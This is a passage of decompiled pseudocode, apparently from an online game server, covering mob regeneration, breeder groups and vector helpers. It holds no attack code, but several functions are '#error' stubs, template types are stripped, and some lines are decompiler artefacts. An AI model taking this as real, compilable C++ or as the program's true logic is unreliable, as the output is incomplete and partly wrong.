) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)_Newvec + 6 * v11); v4->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)((char *)_Newvec + 6 * v16); v4->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)_Newvec; } } } //----- (004855F0) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { FamilyMobManagement::MobSpeciesSlot *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp-Ch] [bp-20h]@1 std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst; v3 = this; v11 = &v9; thisa = (std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x2AAAAAAA ) std::vector>::_Xlen((std::vector > *)this); v5 = 6 * v4; v6 = operator new(6 * v4); v3->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)v6; v3->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v6; v3->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( v8, v7, (FamilyMobManagement::MobSpeciesSlot *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (004856C0) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *_Al, int __formal) { void *v2; // esi@1 FamilyMobManagement::MobSpeciesSlot *v3; // ebp@2 int v4; // ecx@3 void *result; // eax@6 FamilyMobManagement::MobSpeciesSlot *v6; // edi@7 int v7; // eax@8 int v8; // eax@11 int v9; // eax@15 unsigned int v10; // ebp@18 unsigned int v11; // eax@21 v2 = _Al; if ( _Al == (void *)__formal ) return v2; v3 = *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 4); if ( v3 ) { v4 = (*(_DWORD *)(__formal + 8) - (signed int)v3) / 6; if ( v4 ) { v6 = (FamilyMobManagement::MobSpeciesSlot *)*((_DWORD *)v2 + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) / 6; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { std::copy( v3, *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 1)); v8 = *(_DWORD *)(__formal + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 6 * (*(_DWORD *)(__formal + 8) - v8) / 6; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) / 6; else v9 = 0; if ( v4 <= (unsigned int)v9 ) { v10 = (unsigned int)&v3[std::vector>::size((std::vector > *)v2)]; std::copy( *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 4), (FamilyMobManagement::MobSpeciesSlot *)v10, v6); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( (std::vector >::const_iterator)v10, *(std::vector >::const_iterator *)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v6 ) operator delete(*((void **)v2 + 1)); v11 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v11) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::const_iterator *)(__formal + 4), *(std::vector >::const_iterator *)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (00485830) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, unsigned int _Val) { std::vector > *v3; // esi@1 unsigned int *v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 unsigned int *v7; // eax@10 char *v8; // edx@11 unsigned int *v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (unsigned int *)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (004858C0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v4; // edi@1 FamilyMobManagement::MobSpeciesSlot *v5; // esi@1 int v6; // esi@3 std::vector >::iterator *v7; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) v6 = (*(_DWORD *)&_Where - (signed int)v5) / 6; else v6 = 0; std::vector>::_Insert_n( this, _Where, 1u, _Val); v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v7; } //----- (00485930) -------------------------------------------------------- #error "485930: undefined or illegal type '#803' (funcsize=36)" //----- (00485990) -------------------------------------------------------- #error "485990: undefined or illegal type '#803' (funcsize=27)" //----- (004859D0) -------------------------------------------------------- #error "4859D0: undefined or illegal type '#803' (funcsize=27)" //----- (00485A10) -------------------------------------------------------- #error "485A10: undefined or illegal type '#803' (funcsize=50)" //----- (00485AE0) -------------------------------------------------------- #error "485AE0: undefined or illegal type '#803' (funcsize=78)" //----- (00485BF0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v2; // esi@1 FamilyMobManagement::MobSpeciesSlot *v3; // edi@1 int v4; // ecx@2 FamilyMobManagement::MobSpeciesSlot *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00485C70) -------------------------------------------------------- #error "485C70: undefined or illegal type '#803' (funcsize=34)" //----- (00485CC0) -------------------------------------------------------- #error "485CC0: undefined or illegal type '#803' (funcsize=23)" //----- (00485CF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_Regenerate(void *this, int map_, int x, int y, signed int dir, int handle, int mobid, int bandittemplete, int regnum, int a10, int a11, int lev, char blockdata) { void *v13; // ebp@1 int v14; // edx@1 int v15; // eax@1 MobDataBox::MobDataBoxIndex *v16; // eax@3 char v17; // cl@3 __int16 v18; // cx@5 int v19; // esi@5 int v21; // eax@7 int v22; // eax@9 int v23; // edx@9 int v24; // edx@9 int v25; // eax@9 unsigned int i; // ecx@9 int v27; // edx@10 int v28; // edi@18 int v29; // eax@22 int v30; // eax@23 const char *v31; // [sp+1Ch] [bp-30h]@16 int v32; // [sp+20h] [bp-2Ch]@16 ListIteratorDefault arg; // [sp+38h] [bp-14h]@7 int v34; // [sp+3Ch] [bp-10h]@7 int v35; // [sp+48h] [bp-4h]@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v13 + 1853) = regnum; *(_DWORD *)((char *)v13 + 7514) = *(_DWORD *)map_; *(_DWORD *)((char *)v13 + 7518) = *(_DWORD *)(map_ + 4); *(_DWORD *)((char *)v13 + 7522) = *(_DWORD *)(map_ + 8); **((_BYTE **)v13 + 929) = 0; v14 = *(_DWORD *)v13; v35 = 0; (*(void (__thiscall **)(void *, int, int, int))(v14 + 2876))(v13, handle, mobid, bandittemplete); **(_DWORD **)((char *)v13 + 78) = x; *(_DWORD *)(*(_DWORD *)((char *)v13 + 78) + 4) = y; v15 = dir / 2; if ( dir / 2 < 0 ) LOBYTE(v15) = v15 - 76; **(_BYTE **)((char *)v13 + 82) = v15; v16 = MobDataBox::operator__(&mobdatabox, mobid); v17 = lev; *((_DWORD *)v13 + 1884) = v16; if ( lev <= 0 ) v17 = LOBYTE(v16->data->Level); *((_BYTE *)v13 + 7540) = v17; v18 = *((_WORD *)v13 + 4426) & 0xFFFE | v16->serv->IsRoaming & 1; *((_WORD *)v13 + 4426) = v18; *((_WORD *)v13 + 4426) = v18 & 0xFF01 | 2 * (v16->serv->RoamingNumber & 0x7F); *((_WORD *)v13 + 4427) = v16->serv->RoamingDistance; *((_DWORD *)v13 + 1851) = 0; MobTacticElement::MobActionArgument::Actor::SetTargetPoint( (MobTacticElement::MobActionArgument::Actor *)((char *)v13 + 8212), (#325 **)v13 + 2215); ShineObjectClass::ShineMob::sm_SetBrain(v13); (*(void (__thiscall **)(void *))(*(_DWORD *)v13 + 2872))(v13); *((_DWORD *)v13 + 2094) = a11; v19 = ShineObjectClass::ShineObject::so_MapMarking(v13, 0); if ( v19 ) { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); return v19; } memcpy( (void *)(*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1164))(v13), &ShineObjectClass::ShineObject::so_emptyabstate, 0x34u); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1304))(v13); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v34 = v21 + 3480; LOBYTE(v35) = 1; List::l_4AllInList((List *)(v21 + 3480), &arg); LOBYTE(v35) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; if ( unk_61570C ) { (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, signed int, signed int))(*(_DWORD *)v13 + 1528))( v13, v13, 291, 1, unk_61570C, clockwatch.cw_CurrTick, 0, -1, 5000, 8); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v13, 291); } (*(void (__thiscall **)(void *, int))(*(_DWORD *)v13 + 1700))(v13, handle); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1244))(v13); v23 = *(_DWORD *)v13; *((_DWORD *)v13 + 1854) = v22; *((_DWORD *)v13 + 1855) = (*(int (__thiscall **)(void *))(v23 + 1248))(v13); Parameter::Container::c_StoreMob((int)((char *)v13 + 4008), *((_DWORD *)v13 + 1884)); v24 = *(_DWORD *)v13; *((_WORD *)v13 + 3786) = -1; v25 = (*(int (__thiscall **)(void *))(v24 + 1720))(v13); std::vector>::resize( (std::vector > *)((char *)v13 + 7544), *(_DWORD *)(v25 + 12), 0); for ( i = 0; ; ++i ) { v27 = *((_DWORD *)v13 + 1887); if ( !v27 ) break; if ( i >= (*((_DWORD *)v13 + 1888) - v27) >> 2 ) break; *(_DWORD *)(*((_DWORD *)v13 + 1887) + 4 * i) = 0; } *((_DWORD *)v13 + 1890) = -1; if ( !a10 ) { *(_DWORD *)((char *)v13 + 8817) = v13; *(_DWORD *)((char *)v13 + 8813) = v13; goto LABEL_22; } if ( (*(int (__thiscall **)(int))(*(_DWORD *)a10 + 1772))(a10) == 0 ) { v32 = 0; v31 = "ShineObjectClass::ShineMob::so_mob_Regenerate : Null FamilyList - Leader"; LABEL_17: AssertClass::ac_AssertFail(&shineassert, v31, v32); *(_DWORD *)((char *)v13 + 8817) = v13; *(_DWORD *)((char *)v13 + 8813) = v13; goto LABEL_22; } v28 = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)a10 + 1772))(a10) + 4); if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1772))(a10) || !(*(int (__thiscall **)(int))(*(_DWORD *)v28 + 1772))(v28) ) { v32 = 0; v31 = "ShineObjectClass::ShineMob::so_mob_Regenerate : Null FamilyList - member"; goto LABEL_17; } *(_DWORD *)((char *)v13 + 8817) = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1772))(a10) + 4); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1772))(a10) + 4) = v13; *(_DWORD *)((char *)v13 + 8813) = *(_DWORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v28 + 1772))(v28); *(_DWORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v28 + 1772))(v28) = v13; LABEL_22: v29 = *(_DWORD *)(*((_DWORD *)v13 + 1884) + 8); if ( v29 && ((v30 = *(_DWORD *)v29) == 0 || *(_DWORD *)(v30 + 113)) ) *((_DWORD *)v13 + 1841) = &roe_normalMA; else *((_DWORD *)v13 + 1841) = &roe_normalPY; --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); return 0; } // 448D30: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00486110) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineServant::so_mob_Regenerate(ShineObjectClass::ShineServant *this, Name3 *map_, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #325 *leadermob, #803 *breeder, int lev, char blockdata) { void *v13; // esi@1 int v14; // eax@1 FieldMap::FM_MarkingError v15; // esi@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = ShineObjectClass::ShineMob::so_mob_Regenerate( v13, (int)map_, x, y, dir, handle, mobid, (int)bandittemplete, regnum, (int)leadermob, (int)breeder, lev, blockdata); --funcallanalizer.fca_stackpoint; v15 = v14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_mob_Regenerate"); return v15; } //----- (004861F0) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineNPC::so_mob_Regenerate(ShineObjectClass::ShineNPC *this, Name3 *_map, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #325 *leadermob, #803 *breeder, int lev, char blockdata) { ShineObjectClass::ShineNPC *v13; // esi@1 int v14; // eax@1 FieldMap::FM_MarkingError v15; // esi@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13->sn_FromTable = 0; v14 = ShineObjectClass::ShineMob::so_mob_Regenerate( v13, (int)_map, x, y, dir, handle, mobid, (int)bandittemplete, regnum, (int)leadermob, (int)breeder, lev, blockdata); --funcallanalizer.fca_stackpoint; v15 = v14; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_Regenerate"); return v15; } //----- (004862D0) -------------------------------------------------------- #error "4862D0: undefined or illegal type '#325' (funcsize=181)" //----- (00486530) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_Routine(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { MobRegenClass::MobBreederGroup *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_WORD *)v3 + 10) ) List::l_4AllInList( (List *)v3, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))&MobRegenClass::MobBreeder::mb_Routine); else ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Routine"); return 1; } //----- (004865F0) -------------------------------------------------------- #error "4865F0: undefined or illegal type '#803' (funcsize=44)" //----- (004866A0) -------------------------------------------------------- void __thiscall EventMobRegen::erb_happen(EventMobRegen *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventMobRegen::erb_happen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventMobRegen::erb_happen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; List::l_4AllInList( (List *)((char *)mobhatchery + (_DWORD)((char *)&wholesaver + 18452640)), (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MobRegenClass::MobBreederGroup::mbg_Routine); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventMobRegen::erb_happen"); } //----- (00486740) -------------------------------------------------------- #error "486740: undefined or illegal type '#803' (funcsize=44)" //----- (004867F0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last) { KQContribute::PlayerList *i; // esi@1 for ( i = _First; i != _Last; ++i ) FamilyMobManagement::FamilyMob::_FamilyMob(i); } //----- (00486820) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 KQContribute::PlayerList *v2; // esi@1 KQContribute::PlayerList *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) FamilyMobManagement::FamilyMob::_FamilyMob(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00486870) -------------------------------------------------------- FamilyMobManagement::FamilyMob *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::FamilyMob *_Ptr, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004868A0) -------------------------------------------------------- #error "4868A0: undefined or illegal type '#803' (funcsize=271)" //----- (00486BA0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 FamilyMobManagement::FamilyMob *v6; // eax@2 KQContribute::PlayerList *v7; // ebx@2 FamilyMobManagement::FamilyMob *v8; // edi@2 KQContribute::PlayerList *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(FamilyMobManagement::FamilyMob **)&_Last, v4->_Mylast, *(FamilyMobManagement::FamilyMob **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = (KQContribute::PlayerList *)v4->_Mylast; v8 = v6; for ( i = (KQContribute::PlayerList *)v6; i != v7; ++i ) FamilyMobManagement::FamilyMob::_FamilyMob(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (00486C00) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::FamilyMob *_Val) { std::vector > *v4; // edi@1 FamilyMobManagement::FamilyMob *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00486C70) -------------------------------------------------------- #error "486C70: undefined or illegal type '#803' (funcsize=54)" //----- (00486D50) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::FamilyMob *_Val) { std::vector > *v2; // esi@1 FamilyMobManagement::FamilyMob *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 FamilyMobManagement::FamilyMob *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00486DE0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::l_Free(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { MobRegenClass::MobBreederGroup *v2; // esi@1 char v3; // cl@1 int v4; // edi@2 int v5; // ecx@3 char v6; // al@7 char v7; // bl@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_Free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_Free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( hnd < *((_WORD *)v2 + 2) ) { v5 = *((_DWORD *)v2 + 2); v4 = *(_DWORD *)(v5 + 12 * hnd); v3 = *(_BYTE *)(v5 + 12 * hnd + 8); } else { v4 = 0; } if ( v3 ) { *(_DWORD *)(v4 + 92) = 0; *(_DWORD *)(v4 + 88) = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_Free", 0); } FamilyMobManagement::FamilyMobManager::fmm_Remove(&g_FamilyMobManager, (#803 *)v4); v6 = List::l_Free((List *)v2, hnd); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_Free"); return v7; } //----- (00486ED0) -------------------------------------------------------- #error "486ED0: undefined or illegal type '#803' (funcsize=103)" //----- (00487020) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_StoreData(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { int v3; // ebp@1 MobRegenStruct::RegenMobStruct *v4; // edx@1 bool v5; // zf@1 int v6; // eax@10 char *v7; // eax@11 int v8; // ebx@13 void *v9; // edi@15 int v10; // eax@16 unsigned int v11; // eax@20 signed __int16 v12; // si@20 char result; // al@33 unsigned int _; // [sp+1Ch] [bp-118h]@12 char buffer[256]; // [sp+24h] [bp-110h]@11 unsigned int v16; // [sp+124h] [bp-10h]@33 int v17; // [sp+130h] [bp-4h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_StoreData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = mbsa.mbsa_Struct; v5 = *(_DWORD *)mbsa.mbsa_Struct == *(_DWORD *)(v3 + 6424); v17 = 0; if ( v5 && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[4] == *(_DWORD *)(v3 + 6428) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[8] == *(_DWORD *)(v3 + 6432) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[12] == *(_DWORD *)(v3 + 6436) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[16] == *(_DWORD *)(v3 + 6440) && *(_DWORD *)&mbsa.mbsa_map->n3_name[0] == *(_DWORD *)(v3 + 6493) && *(_DWORD *)&mbsa.mbsa_map->n3_name[4] == *(_DWORD *)(v3 + 6497) && *(_DWORD *)&mbsa.mbsa_map->n3_name[8] == *(_DWORD *)(v3 + 6501) ) { memcpy((void *)(v3 + 6445), &mbsa.mbsa_Struct->rms_regen, 0x30u); v6 = *(_DWORD *)(v3 + 6445); if ( (unsigned int)v6 < 0x93A80 ) { _ = 0; if ( v4->rms_Number ) { v8 = (int)"MobRegenClass::MobBreederGroup::mbg_StoreData"; do { LOWORD(v6) = *(_WORD *)(v3 + 12); if ( (_WORD)v6 == -1 ) { v9 = 0; } else { v8 = v6; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v3 + 4))(v3, v6); v4 = mbsa.mbsa_Struct; v9 = (void *)v10; } if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MobBreederGroup::mbg_StoreData : Too many mob in regengroup", 0); ShineExit("MobRegenClass::MobBreederGroup::mbg_StoreData"); } v11 = BTree::operator__(&mobdatabox.mdb_btree, v4->rms_mobname); v12 = -1; if ( v11 != -1 ) v12 = v11; if ( v12 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MobBreederGroup::mbg_StoreData : Wrong mob name", mbsa.mbsa_Struct->rms_mobname); v12 = 1; } if ( *(_BYTE *)(v3 + 6444) == 89 ) { if ( *(_DWORD *)(v3 + 6576) ) MobRegenClass::MobBreeder::mb_SetLeader(v9, *(_DWORD *)(v3 + 6576)); else *(_DWORD *)(v3 + 6576) = v9; FamilyMobManagement::FamilyMobManager::fmm_Regist( &g_FamilyMobManager, *(#803 **)(v3 + 6576), v12, mbsa.mbsa_Struct->rms_KillNumber); } if ( !MobRegenClass::MobBreeder::mb_Set(v9, v3, v12, (int)&mbsa.mbsa_Struct->rms_regen, -1) ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v3 + 8))(v3, v8); v4 = mbsa.mbsa_Struct; v6 = _++ + 1; } while ( _ < mbsa.mbsa_Struct->rms_Number ); } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_StoreData : Minus regen time", v6); v7 = ORToken::ort_GetString((ORToken *)(v3 + 6424), buffer); AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_StoreData : Minus regen time", v7); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } } else { v17 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } __security_check_cookie(v16); return result; } //----- (00487300) -------------------------------------------------------- #error "487300: undefined or illegal type '#803' (funcsize=107)" //----- (004874A0) -------------------------------------------------------- void __thiscall MobHatchery::mh_Load(MobHatchery *this, Name4 *world, Name3 *map_) { unsigned int v3; // eax@1 char *v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 int v7; // esi@1 int v8; // 